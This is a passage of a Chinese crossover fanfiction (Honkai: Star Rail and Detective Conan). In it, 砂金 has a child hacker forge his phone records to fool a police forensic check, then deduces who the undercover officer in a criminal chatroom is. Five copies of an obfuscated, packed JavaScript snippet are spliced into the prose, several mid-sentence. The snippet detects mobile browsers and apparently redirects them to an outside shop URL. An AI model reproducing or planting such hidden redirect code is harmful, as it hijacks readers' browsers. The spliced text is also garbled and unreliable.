…… 只是了解情况吗, 挂了电话的砂金眯眯眼,一边朝警官先生那边走去,一边敲开了私聊的窗口, ——砂金:朋友,帮个忙吧。 ———— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546695|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —————— 事情的经过还要从几个小时前说起,时刻守在毛利兰身边的工藤新一终于找到了机会,在午休结束后一举抓住了一个混进学校、正在往毛利兰桌洞里撒图钉的校外黄毛, 没有第二个选择,工藤新一果断地报了警,在警方的调查下得知黄毛的姓名为胜村早圭, 是毛利兰从来没有见过的陌生人。 …… “我没想真的伤害她,”被关在审讯室里的胜村早圭哭丧着脸,“我本来打算拍完照就再把钉子捡走的……” 胜村早圭没那个胆子搞故意伤害,心眼坏一点也就是想从“大小姐”那骗点钱,结果就那么倒霉正好让工藤新一发现了。 “拍什么照片?你想发给谁?你为什么要针对一个和你素不相识的人?”帮忙做笔录的伊达航每个问题都问得一针见血, 胜村早圭垂着头、颤颤巍巍,“这个……我、我不能说……”如果让群里那个大小姐知道他泄露了消息,那被疯狂针对的人就会变成他了! “你知不知道校园霸凌是违法行为,”伊达航故意夸大着后果,打破胜村早圭的心理防线,“虽然你是未成年,但根据已修定的少年法规定,特定年龄段的青少年不仅不会免责减刑、反而会加大刑责力度!” “你不妨猜一下你现在在不在这个年龄段里,你又真的想去做牢吗?” 的确在,可胜村早圭并没有做出什么重大危害,性质也不够恶质,远不到伊达航说的那样严重…… 但伊达航不会让胜村早圭知道这一点的,一个“凶恶”的警察足够让胜村早圭吓破胆了。 “不、不要!我就想挣点外快而已!” 胜村早圭不想把自己搭进去,他本来也就不是什么穷凶极恶的人,不然早就去另一个聊天室赚“大钱”了,何苦在街上到处拉人就图一个入伙奖励。 而在“大小姐”可能的报复和必定的坐牢面前,胜村早圭还是更害怕后面一种,“但是你不能告诉别人是从我这里知道的!” 话说回来,也就是胜村早圭不知道另一个聊天室、所以不知道那些人真正的手段有多疯狂和可怕罢了,要是知道……那胜村早圭宁愿会选择坐牢、也不想因为暴露秘密而被别人的“买凶”弄死。 “这个放心,”伊达航缓和的语气,红脸唱完该唱白脸了,“毕竟你是未成年,配合案件调查、戴罪立功的话,我们依旧会保护你的。” 胜村早圭抹了把额头的冷汗,“这事……我…我慢慢说吧……” 随后,伊达航便从胜村早圭嘴巴里知道了一个聊天室, 并且在胜村早圭的聊天记录里发现他曾经邀请过一个熟悉的名字进入群聊,那就是——砂金。 20.第 20 章 好消息,案件有了突破性线索, 坏消息,自己暂养过的那只猫也是线索之一。 伊达航无奈,骨龄报告上显示砂金已经是个成年人了,所以他们之间的关系实际上并不能只用单纯的“监护人”来形容,之间还要加上一个“责任人”的关系, 简单来说,伊达航仍然需要在一定的程度上为砂金负责,仍有义务保护对方、监管对方,但伊达航没有身份去像家长管着孩子那样去对砂金进行管束。 所以砂金有钱、有独立生活的能力之后,伊达航就像他曾说过的那样、痛快地放对方走了, 伊达航从不反对砂金获得独立的自由, 再说一个成年人独自一人生活也是一件再正常不过的事,砂金未来总是会去经历,这是避免不了的。 所以,伊达航也不知道在他没看着砂金的时候,对方有没有被一些不法组织诱骗,只能先把人叫过来,询问一下了, 如果没有,那万事大吉, 如果有,就得尽快掐掉源头、在砂金犯下不可挽回的错误之前把人引回正途, 娜塔莉说的不错,“养孩子”是一门很深奥的学问。 等下见到砂金了,可不能再用对待犯人的那一套对待砂金,那可是个心理问题一大堆的脆皮瓷娃娃,警方对待精神病犯人还都有人道主义关怀呢,更何况砂金还不是“犯人”, 语气要更温柔……不,还是和平常一样吧,别再用力过猛吓到对方了,先随意问问砂金的生活,然后再提到胜村早圭、问下聊天室的事…… 满脑子回荡着爱人各种叮嘱的伊达航如临大敌,已经在设想该怎么和砂金进行沟通的一百零八种话术, 可等在门口迎到那张熟悉的脸时,所有的话术都堵在了噪子眼里,伊达航表情直接一呆,叼在嘴边的牙签咔嚓一声被咬断。 突然有种恶作剧得逞的欢愉感让砂金伸出手,在伊达航眼前晃了一晃,“嗨?我今天的打扮好看到让警官先生目瞪口呆了吗?” 这身衣服买的真值啊!砂金笑眯眯地想道,下次再换一身试试好了~ 伊达航:“……” 作为一名兢兢业业的优秀警察,除了那些一言难尽的小混混,伊达航曾经接触过的最为张扬和吸人眼珠的时尚穿搭,也就是松田和萩原那两货的黑墨镜、花衬衫还有豹纹沙滩裤了, 砂金这下给伊达航刷新了时尚认识度。 忍了忍,伊达航发现自己还是忍不住,伸手拎起砂金垂到臂弯的外套、往肩膀上盖,老父亲上身,“身体才刚好,你多注意点别受凉。” 那大领口加大袖子的,伊达航都怕扇呼扇呼给人扇冒犯了——捡到砂金时的场景过于惨烈,伊达航一时半会儿是摆脱不掉对砂金的柔弱印象了。 结果伊达航刚盖上去,在饰品和自身重力的吸引下外套又滑了下去,倔强地露出了的肩臂,链条别针叮叮当当一阵乱响, “噗!哈哈哈哈哈……” 砂金笑了出来,伊达航也跟着笑了笑,孩子就喜欢这么穿、那就穿呗,又没杀人放火,穿好看点怎么了? “走吧,”伊达航大手一抬,揉了揉砂金的脑袋,当然、有注意没有弄乱砂金的新发型,一侧鬓角别上去后还显得砂金成熟了不少,“到里面再聊。” …… “原来是问胜村先生的事啊,”听伊达航说明了叫他来这的缘由,砂金状似回忆地道,“当时是胜村先生主动找我交的朋友,我印象还挺深的。” 照例给砂金端了杯水,伊达航带着砂金在新的会客厅问着情况,“你也加了那个聊天室吗?” “加了,”砂金很坦然,“当时我不是没有居住证又很缺钱嘛,胜村先生好心推荐给我赚钱的渠道,我没有不领情的道理,” 这方面砂金瞒不过伊达航,没有说谎的必要。 “不过也不算完全加了?” 砂金的话音一转让伊达航有些意外,“我刚加进去那会儿,还没找到胜村先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566685|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生说的那个什么公告规定,就先被管理员找上门了,” 砂金很自觉地把自己的手机递给了伊达航,“那个管理员说没有找到我的信息资料,所以过来问一下我多大了……” 随着砂金的讲叙,伊达航觉察到了问题,没有找到“砂金”的资料?那个时间点砂金签完字的文件刚被他上报回去,砂金确实没有什么信息资料可言, 但听“管理员”的话,对方是能随意入侵到警方信息库的意思吗? “他问了、我就照实说了,”砂金接着一怂肩,“然后他说聊天室不招收成年人,就把我踢了,那真是个果断的朋友。” 为了防止身份被泄露,聊天室都是统一时间段放发拉人奖金,进群默认乱码匿名,进聊天室、或是退出踢人都没有公频的消息提示, 胜村早圭本人也不知道砂金是否还在群里,砂金不怕会被胜村早圭戳穿假话。 “这么说,你并不清楚群里的所谓兼职是什么?” “我扫过几眼,都是些跑腿代课帮买东西之类的杂活,”砂金一脸的纯良,疑惑又遗憾地问道,“是有什么问题吗?早知道我当初就不那么诚实了,” “我要是还在聊天室里的话,说不定就能帮上伊达警官更多的忙了……” “别想那么多,”伊达航再次揉了把毛茸茸的脑袋,“我要离开一下,一个人无聊的话可以去隔壁逛逛,工藤同学也在那里,我看你们上次相处的挺不错的。” 伊达航要去把砂金的手机送到技术部门那进行检查——倒不是伊达航不愿意信任砂金的话, 这是必须要走的流程,不仅是胜村早圭这个犯人、连毛利兰的手机也要走这一程用以确认毛利兰和聊天室里的人是否相识,然后留存有关的证据。 “我又不是小孩子,放心好啦。”笑容依旧,砂金面不改色地目送伊达航离开,手里摸出枚筹码把玩着, 胜村早圭那里不用担心被背刺,现在要过的关就剩下技术检查了。 21.第 21 章 “村田警官,”伊达航推开了技术科室房门,“我来送个手机,麻烦你尽快检查一下了,还是毛利兰的那个案子,申请程序报告已经提交过了。” 【——砂金:朋友,帮个忙吧? 砂金不懂这个世界的信息技术,也不是黑客,但他知道谁能帮得上忙。 ——itf:? 能一个人建起一个违法犯罪交易平台的管理员,就算他自己不是个好手,他也肯定会认识一名出色的黑客。】 “好的,”挂着黑眼圈的警官先生打了个哈欠,翻了翻手边老高的一叠报告,“毛利兰是吧,稍等一会儿,我这就开工……” 【——砂金:别装得好像和我不认识似的,我的两个帐号不都是你封的吗、裁判大人? 那天被禁言的不止是“大小姐”、“Silica”还有“Kentucky.B”三人,砂金最先加入外围聊天室、还没有退出的那个乱码小号也被封了, 只不过外围聊天室禁言没有消息提示,所以无人知晓罢了。】 面对同僚的可爱熊猫眼,伊达航肃然起敬,“我请你喝咖啡吧,提提神。” 【——itf:Silica,你用“砂金”的名字和帐号来私信我,所以是准备好承认“作弊”的犯规行为、然后滚出聊天室了吗。 ——砂金:裁判先生,你在明知“Silica”就是“砂金”的情况下可没有禁止“砂金”本人参赛,没有规定、又何来的犯规一说? ——砂金:对了,可别用“我事先并不知情”那种愚蠢的理由做借口,朋友、装傻子并不好玩。】 “可别!”村田连忙拒绝,一下子清醒了,“再喝我就要猝死殉职了……要查哪个方向的内容?” 【——itf:找我有什么事直接说,少讲些废话。 ——砂金:那我长话短说,你快要进局子了。 ——itf:你又做了什么?】 “那下班请你吃饭好了,有家新开的寿司店据说味道很不错,”伊达航把手机交给同僚,“看一下机主近日有没有加入或是退出那个特殊的聊天室,可以的话尽可能还原一下聊天记录,” “辛苦了。” 【——itf:…… ——itf:……砂金,你真是个混蛋。 ——砂金:呦,裁判先生可以啊!这么快就查完经过了? ——itf:你顶着乱码小号暗中挑拨胜村早圭往毛利兰桌子里放图钉,现在胜村早圭被抓了、你又来找我替你善后??? ——itf:我看起来很像什么好人吗?】 村田坐到专业的电脑前,扒掉金闪闪的手机壳,又连接上数据线,“职责所在。” 【——砂金:胜村先生那么好心地拉我进群做兼职,我当然得回报一下他啦~所以我只是帮他出了个既可以弄到钱、又不会真正伤害到其他人的好点子, ——砂金:可惜,胜村先生运气不太好。 ——itf:不,是我的运气不太好, ——itf:你是冲着我来的吧,就算胜村早圭这一次运气好没被抓住,之后早晚有一天你也会想办法让他“失手”,然后拿他做借口继续来找我“帮忙”。】 “聊天室……这个手机上没有啊,”村田敲打着键盘,“有可能是被删除了,等我复原抠个后台看看……” 【——砂金:可以啊朋友,就喜欢和你这样的聪明人打交道。 ——itf:你也不差,失忆?受害者?哼,只有那些蠢材才会受你所骗。 ——itf:不过,我确实有能力洗干净你账号上的所有污点、让你继续当个警方眼里清清白白的小可怜…… ——itf:但是我凭什么帮你?】 “找到了,”村田的技术水平还是很不错的,“后台会显示程序运作时间……该死!又是蜜罐陷阱,这个聊天室壳怎么这么硬!” 【——itf:凭胜村早圭那个白痴?他连核心聊天室的存在都不知道,被抓了也无所谓,我只要给自己扫个尾,以警方的水平而言、他们根本就抓不到我。 ——itf:至于你?呵呵。 ——itf:原话还给你,你快要进局子了。】 “很难搞吗?” 时间一分一秒的过去,已经等了许久的伊达航拧着眉头,只能看见屏幕上时不时闪烁着报错的红色弹窗,他也看不懂这方面的东西, 【——砂金:很简单,我赌你一定会“帮”我,】 “不算难搞,就是很麻烦……胜村早圭手机上的那个才叫难搞,我准备晚上加班再想想法子、实在搞不定就要请‘外援’了。” 可能是因为砂金手机上的聊天室只剩下了一些删除后没用的残留垃圾文件,攻克难度比完整版本容易多了,村田费了点劲也算是完成了任务,“这下没问题了,不过因为被清理过,只能找回一小部分使用记录,” “聊天室背后的那人很难缠。” 【——砂金:凭你需要我。】 “伊达警官,来看看吧,这就是你要的资料……” —————————— “路上慢点,我还有工作没办法送你回去,到家了记得给我发条短信。” 还是警视厅的大门口,伊达航把手机还给了砂金,从仅找到的记录来看、砂金没有说谎,和胜村早圭也没有什么更多的交际,警方自然没有理由扣留下砂金和砂金的手机。 “没问题,那再见了、伊达警官。” 来时还迎着阳光,去时太阳已经快要落下,一下午过去的很快,好在警视厅伙食不错,蹭了顿饭的砂金放弃了原本买小蛋糕的打算。 单手滑开手机,一道连警方专业人士都没有发现的隐密窗口仿佛知道砂金离开了警方的视线一样、主动跳了出来, 那是砂金和itf的私聊窗口, 窗口上【凭你需要我】的一行字是砂金在下午远远看到伊达航时、发送的最后一条消息,后面并没有itf的回复……当时的砂金其实也不能100%肯定itf会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579543|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿意为他善后, ——砂金:谢了,朋友。 这一下itf回得很快, ——itf:你是真不怕被我放生: ) itf现在心很累,砂金发完那条消息之后就进了警视厅,这混蛋甚至都没有提前和他串个口供! 为了给砂金兜底,itf硬是黑进了砂金和伊达航所在的会客厅监控,一边听砂金在那胡话八道、一边骇进砂金手机里按照砂金说的内容伪造他和砂金的聊天记录、退群记录,清理污点等等, 最后再把所有伪造记录打包删除,还要打上几个有些难度但不能真把人难住的陷阱,好让那个叫村田警察努力把“证据”扒出来、证明砂金的“清白”。 这一串下来,操作难度对itf而言不大、但是时间紧啊!itf简直是拼上了自己的最快手速,才赶在伊达航从会客厅走到技术科的这短短一段路程里搞定所有。 但没办法,正如砂金所言…… itf需要砂金。 与其说砂金在拿胜村早圭威胁itf,不如说他在拿自己赌itf不会放任他进监狱。 砂金是故意把自己和胜村早圭绑在一根藤上的,只要用胜村早圭的帐号给那个“好心”替胜村早圭出点子的不知名朋友发条信息, 哇!那警方就能听到砂金的手机发出叮咚一声响了~ 胜村早圭进不进局子,当然不会影响到itf,但“砂金帮胜村早圭出谋划策”了、甚至私下里还加了好友关系,itf不出手的话,警方肯定会顺藤摸瓜把砂金摸出来。 这是阳谋, 还需要砂金的itf只能主动捞人,替砂金解决身份可能暴露的隐患,砂金顺势还能借胜村早圭的嘴把聊天室的存在告之伊达警官。 至于倒霉蛋、胜村早圭……那人没那么坏、还有些蠢,继续待在那种聊天室里说不准哪天就又被人利用了,到时可不是简单的被伊达航吓唬一下、最多再拘留几天就可以解决了的事, 胜村早圭玩不过那些心黑的家伙、早晚要把自己搭进去,砂金这也算是推胜村早圭出火场,回报了对方曾经给他过的几分善意。 唯一不在砂金预料里的是、砂金也没想到胜村早圭这么快就被工藤新一发现了,这才导致他没能提前和itf串供, ——itf:万一我今天下午不上线、没收到你的消息,那你就等着玩脱吧! 不过也没关系,砂金微笑着勾起唇角, ——砂金:安心,论运气、我从来没输过,好运总是站在我这边。 所以itf正好在线,所以胜村早圭还没来得及把替他出主意的“匿名”好友供出来,所以最后itf刚刚好也赶上了。 ——itf:那要是有一天幸运女神不站在你那边了呢? ——砂金:那就是我该迎接死亡的时候了。 ——砂金:看在今天裁判先生帮了我大忙的份上,还有什么想问的吗? ——itf:……你从什么时候猜到我需要你的。 22.第 22 章 ——砂金:从你替我和Kentucky.B组局的时候起。 从一开始,砂金就注意到了一个很重要的问题——聊天室只招收未成年,那itf怎么确定成员们都是未成年的呢, 虚拟身份,年龄不都是自己定的吗?光凭一张嘴,阿哈都可以说自己是个只有三个月大的可爱小猫咪。 再结合itf很可能是个天才骇客的猜测,那问题就有了答案——itf知道每个成员的现实身份和年龄。 与此相矛盾的是itf明知道砂金成年人的身份,但还是放他进群了。 第一次可以算是警方资料没上报、对方不确定砂金的年龄误放了,第二次砂金往群里拉小号的时候,itf可是半点没拦着, 一切违反既定规则的行为,皆有所求。 ——itf:嗯,我还是有点低估你。 ——砂金:这说明我这是个潜力股,要再多投资一点吗,朋友? ——itf:这要看你的表现了,你应该知道我想要做什么。 ——砂金:这是要验货了啊, ——砂金:放心,我可舍不得让朋友做亏本买卖。 ——itf:呵呵,所以、答案? ——砂金:Kentucky.B,至少你的目的之一、是他。 itf让他这个目标本人和Kentucky.B玩比赛……这么一场不公平的游泳注定针对的人就是Kentucky.B。 ——itf:那么,希望我们合作愉快吧…… ——itf:还有,下次有什么事提前告诉我,我不想再追在你屁股后面、替你收拾烂摊子! ——itf:我不是每次都那么好心的!!! 砂金笑得弯了弯眉眼,itf果然还是个小孩子吧?装模作样、故作神秘,一激动却还是藏不住那一丝的稚气。 ——砂金:好好好,我知道啦~ 最大的隐患解决了,然后该做什么呢?咔嗞一声、路边定时的路灯亮了,砂金心情不错地看着「砂金」握着卡卡瓦夏的小手,带着卡卡瓦夏在路灯下蹦蹦跳跳地踩着砂金拉长的影子, 嗯,主要看的是卡卡瓦夏, 旁边那个泛着蓝光的东西能打个马赛克就好了,有点煞风景。 「砂金」忍着没给砂金翻个不优雅的白眼,【想玩就爽快点。】 “不,我才没有你那么幼稚。”砂金下意识摇头,脚步想要往后撤。 【大哥哥!一起玩吧!】卡卡瓦夏松开「砂金」的手,噔噔噔地跑到砂金面前,【我们知道的,你喜欢这个!】 砂金:“这……” 「砂金」挑衅着,【别告诉我、你还会在意别人的眼光?】 卡卡瓦夏扒着砂金的胳膊,无师自通了撒娇大法,【来玩嘛~好不好?】 两双同样特殊、却象征着“唯一”的眼睛望在一起,砂金叹了口气、心底的某处软了一下,“好吧,” 退后半步,砂金左手扶在胸前、右手伸出,微微躬身向卡卡瓦夏行了一礼,“请我们可爱的卡卡瓦夏先生陪我共舞一曲吧?” 卡卡瓦夏将被「砂金」握过的手放在砂金掌心里,有模学样地道,【谢谢,可爱的大哥哥先生!】 一个转身,和砂金错位间卡卡瓦夏借机朝着「砂金」眨了下眼, 拯救漂亮大哥哥计划顺利进行! 「砂金」也冲卡卡瓦夏眨了眨眼,不急,先让砂金从学会弥补自己开始吧。 埃维金没有舞曲……或许曾经有,但等到砂金记事的时候,族人们已经没有满足精神需要的资本和能力了,所以走在最后的「砂金」只是随意哼着, 一会哼点小调摇蓝曲,一会哼点宴会上听过的舞曲,摇滚、古典、民谣……「砂金」想到什么哼唱什么, 在「砂金」的伴奏中,砂金笑着带上小小的孩子在光晕下转圈,踩着孤零零的影子跳舞,叮叮当当作响的装饰品闪着光、像是撒在他身上的亮片,宽大的衣摆扬起漂亮的弧度…… 今夜灯光下的笑容,流光溢彩。 ———— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582102|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —————— 月亮开始升起来了,工藤新一的心却沉了下去,经过一下午的调查、案件本身仍然没有什么起色, 伊达航劝他趁天还没黑、像砂金那样先回家等消息,但工藤新一根本挪不动脚步,好不容易有了点线索,他怎么舍得离开? 伊达航也拿倔强的工藤新一没办法,这么对比一下、还是砂金那孩子更听话懂事啊,伊达航默默感概, 什么? 砂金成年了、不应该被当成孩子和工藤新一作对比? 怎么不能? 按记忆年龄算,砂金还是个没满月的婴儿呢!伊达航莫名和安室透拥有了同样的心态,老父亲大概都是这种心理吧, 话说回来,其实工藤新一也不是坏孩子,对方实在不想走、伊达航便没有硬赶,再加上众所周知的名侦探的名头,就默认工藤新一留下来了, 另一案件当事人毛利兰,反而是最早回家的,工藤新一怕毛利兰害怕紧张、给毛利小五郎打了电话,平时不靠谱的侦探大叔火急火燎地就冲过来带走了自家孩子。 等了一会儿,收到砂金平安到家的消息、还有一张漂亮自拍照的伊达航放下心,又给娜塔莉去了信息, 今晚加班估计要很晚,得让娜塔莉先睡、不用等他了。 没想到都做好通宵准备了的伊达航刚合上手机,就看到目暮警官带着一名短发戴眼镜、穿着西服打领带的瘦高男人找了过来,目暮警官的脸色还不怎么好看。 伊达航把工藤新一的身影挡住,先开口问道,“有什么事吗,目暮警官?” 目暮警官,“这位是风见警部补,是来……” “是来接手毛利兰同学的案件的,”一副精英打扮的男人抬手推了推眼镜,语气里带着几分不客气,“案件后续的调查将由我们专业部门全权负责,请配合我们的工作。” 想握手的伊达航伸出的手顿了顿,看了眼目暮警官,无声地问道……那边的? 目暮警官使了个眼色, 是的,公安的。 23.第 23 章 警察厅、警视厅、还有公安部……虽说都是维护社会治安、为人民服务的,但三者之间的关系并不怎么样,尤其是后两者, 你看不上我,我瞅不起你;今天你抢我案子,明天我瞒你线索;你鄙视我不干实事、手段狠辣,我鄙夷你目光短浅、鼠目寸光;你说我跟监布控能力差,我笑你勘测侦查能力烂…… 总之,刑事部和公安部相互不爽已经是“老传统”了。 就算伊达航不是极端讨厌公安的那一部人,现在对于来抢案件的风见警部补也有些不满了, 因为伊达航知道,这案子落到公安手里……大概率就不会有后文了。 “好吧,风见警部补,”人高马大的伊达航拦着风见裕也、沉着脸煞气满满地先问道,“那我能问一下,你们这些……专、业、人、士是打算花多长时间破案呢?” “用不上你们操心,我们自有安排。”风见裕也表面上一副不近人情的表情,内心小人泪流满面、哭着咬手绢, 降谷先生!说好的温柔可靠呢?您的这位班长好像想撕了我啊!!! 但降谷先生吩咐的事,就算会被活撕了风见裕也也要做到,风见裕也顽强地顶着压力,势必拿下案子! 果然,公安并不打算马上破案……伊达航预感成真,单从表面上看、毛利兰的案子用不着公安出手,但公安非要插手只能说明这案件背后肯定牵扯着重案, 为了不打草惊蛇、收集更多罪证、或者是其它原因,公安不会很快破案,甚至可能任由案件继续发酵恶化…… 伊达航作为警察当然想保护毛利兰的安全和个人利益,但公安站在大局观上想到是大众的权益,真可谓是公说公有理、婆说婆有理,谁也不服谁了。 “……调令已经发过来了,”最后还是目暮警官打破了两人谁都不让谁的对峙,已经收到上级命令的目暮警官也很不痛快,但没办法啊,“伊达老弟,最近巡逻排班又要辛苦你们了。” 说着,目暮警官对风见裕也道,“风见警部补,公安总不至于还要插手我们的日常事宜吧?” 目暮警官拿公安没办法,只能在自己这边下手了——公安不上心,那他们自己上心!反正不能让毛利兰在他们眼皮子底下出事。 “你们的事情你们自己决定。”风见裕也见好就收,他也知道这次是他们做的有点不道德,风见裕也还怕事后被套麻袋挨揍呢! 伊达航啧了一声,咬着牙签让开了路,心里正在重新规划一个长期的巡查线路,砂金住在米花町二丁目,毛利事务所在五丁目,还好离得不算远、他还绕得过来。 “等等!” 旁观的工藤新一坐不住了,显然他也知道公安接手这件事意味着什么,“我也可以帮忙,至少不能就这么大事化了……” “小孩子?”风见裕也注意到了这个不该出现在这里的人,“你提醒我了,还要再补几份保密协议,也希望大家积极配合一下。” 目暮警官都改变不了的事,工藤新一当然也不能,不是所有人都吃“名侦探”那一套的,除非是远在美国、和FBI关系密切的工藤优作亲自下场,或许公安才会看在对方的面子上让步几分。 可恶!工藤新一咬紧了牙关,警方不管的话、他就自己调查!!! —————————— 又是一天过去,昨天心情不错……甚至可以说很好的砂金睡得早、醒的也早,不会失眠的一晚很是令人心情愉悦, 砂金已经准备把每晚跳一场舞列到睡前安眠计划之中了。 等收到安室透按约定发来的“报平安”的信息时,砂金才想起来这位昨天“相见恨晚”、“一见如故”、“相亲相爱”的“好友”。 又是一张自拍照发回去以示本人十分安全后,砂金想了想、打开了itf的私聊对话窗口, ——Silica:对了,有件事需要提前告诉你一声。 省得小朋友回头知道了,一个人又被气得躲在被窝里偷偷掉眼泪。 可能是有卡卡瓦夏的影响吧?砂金莫名其妙地开始“母爱泛滥”、关心起小朋友来,和他以前接触过的心眼子比马蜂窝还多的“朋友”们相比,和星核精一样清澈的itf还挺讨砂金喜欢的。 ——itf:什么事? 大概是昨天着实被砂金玩的那一出吓得不轻,在绝大多数孩子还在赖床的时间点上,itf做到了秒回——估计“砂金”和“Silica”都是itf的特别关心对象了。 ——Silica:我需要借你群里的那位卧底警官先生用用,你现在暂时用不到他吧? 砂金等了会儿,itf没秒回,但砂金知道对方在看,大概过了将近一分钟,砂金才收到回复, ——itf:……你知道那个卧底是谁? ——Silica:不然呢,朋友?还是说你现在有用、借不了? ——itf:不,我的意思是、你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592279|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的知道那个卧底是谁吗?你很确定对方的身份吗? 砂金有点奇怪itf为什么这么问,总不会是itf不知道他的聊天室里有卧底吧? ——Silica:我很确定我知道,管理员大人难道不知道? ——itf:我当然知道! ——itf:不对,现在是我在问你! ——itf:你知道的话,那就把他的身份告诉我!我才不是那种识不清人的笨蛋,我只是确认一下你有没有认错人! ——itf:我怕你再认错人,交易失败连累到我怎么办!我可不想因为这种乌龙丢了一个难得的聪明点的合作伙伴! 一串消息响得砂金有些哭笑不得,itf这是还在怀疑他的能力? ——Silica:没能向合作伙伴展示出我的业务水平、是我的失误,我能做的只有再证明一次了呢。 ——Silica:我不清楚他在聊天室里的昵称,也不知道我现在知道的这个名字是否为他的真名, ——Silica:但他当前的身份已经没有了秘密,他就是…… 砂金和Kentucky.B开启比赛还没多久,砂金就发现附近开始有人在暗中跟着他——那些人手法很隐弊,但还是躲不过一个命途行者的感知; 这说明肯定有人在聊天室里看到了Silica和Kentucky.B的“对赌”,而且还很快、甚至比Kentucky.B抛出的线索截图时间更早的找到了“砂金”。 砂金刚在聊天室里自曝了住址、知晓了混血儿失踪案件,就有一个和他有着相似危险处境的人来和他交朋友,关心他、提醒他 、叮嘱他注意安全; 这说明那个找到他的人对“砂金”这个受害者没有恶意,附近那些跟着他的人想必也是对方找来保护他的。 明明身在犯罪交易平台之中,找到了目标人物却始终默不作声,甚至在目标可能遇到危险时调动人手去保护对方…… 这不就是警方派入到犯罪组织里的卧底才会做得出的事吗? 那比赛开始后,砂金最先接触到的人,对他有善意的人,有目的接近他的人,可能同样在聊天室的人,而且还很有正派人士的道德感、厌恶犯罪分子的人…… 符合以上全部条件的人,这位警方的卧底是谁,不也是显而易见的吗? 那人只能是…… ——Silica:安室透,安室先生。 24.第 24 章 比赛游戏开始后砂金第一个接触到的人是咖啡厅里的安室透,最先开始接近他的人是半夜来信的安室透,对Kentucky.B有恶意、正义感十足还骂过对方是变态的人也是安室透…… 安室透, 安室透, 安室透, 还是安室透, 全都是安室透。 砂金不计较、也不在意“巧合”,但不代表他是个白痴笨蛋,一点运气加一点经验,这简直就是送分题。 答案发了过去,itf那边又是一阵沉默,线上沟通就是这点不好,没办法直观地看到对方的反应,砂金还是更喜欢用“当着合作伙伴的面、对着自己脑袋连开三枪”的方式证明自己, 既刺激、又简洁明了,多棒的好法子啊。 …… 显少有人知晓位置、布满了摄像头的小屋里,将自己裹在被子里的八木海缓缓地闭上眼,再睁开,手机屏幕照亮着的一张年纪不大的脸上满是茫然, 八木海现在怀疑自己可能是还没睡醒、只是被Silica的特别关心提醒震醒了,所以脑子和眼睛还不太好使, 不然她怎么会看见、Silica说他知道安室透是卧底的消息呢? 是的,砂金猜的没错,itf的真实身份其实是个才十二岁的小女孩、在各种意义上都还是个孩子, 也是个不折不扣的天才。 安室透是卧底? 安室透的确是卧底,八木海在公安系统里翻到过对方的档案,但重点是Silica是怎么知道的? 他怎么还真知道啊!!!八木海崩溃了,这还怎么玩啊!!!!! 砂金的手机毫无防备,八木海来去自由,对方肯定不是用和她一样的方式找到答案的,砂金一看就是个对编程一窍不通的人, 要不是她需要砂金、提前给砂金的两个帐号都打过补丁,黑客技术也算不错的安室透老早就能把Silica的马甲全扒下来了。 但是……八木海从被窝里爬起来,打开电脑,像进自家院子一样把“Silica”和“Kentucky.B”,“砂金”和“安室透”的聊天记录从头到尾又都仔细看了一遍, 八木海一边崩溃,一边茫然得更深了。 已知,砂金答应帮她对付Kentucky.B, 然后,Silica问她借人,借的还是安室透, 由上可知什么? ——itf:……你借他做什么? ——Silica:留点悬念吧,朋友……放心、不会给你用坏的,不影响你以后的计划。 由上可知,砂金在不知道安室透和Kentucky.B是同一个人的前提下, 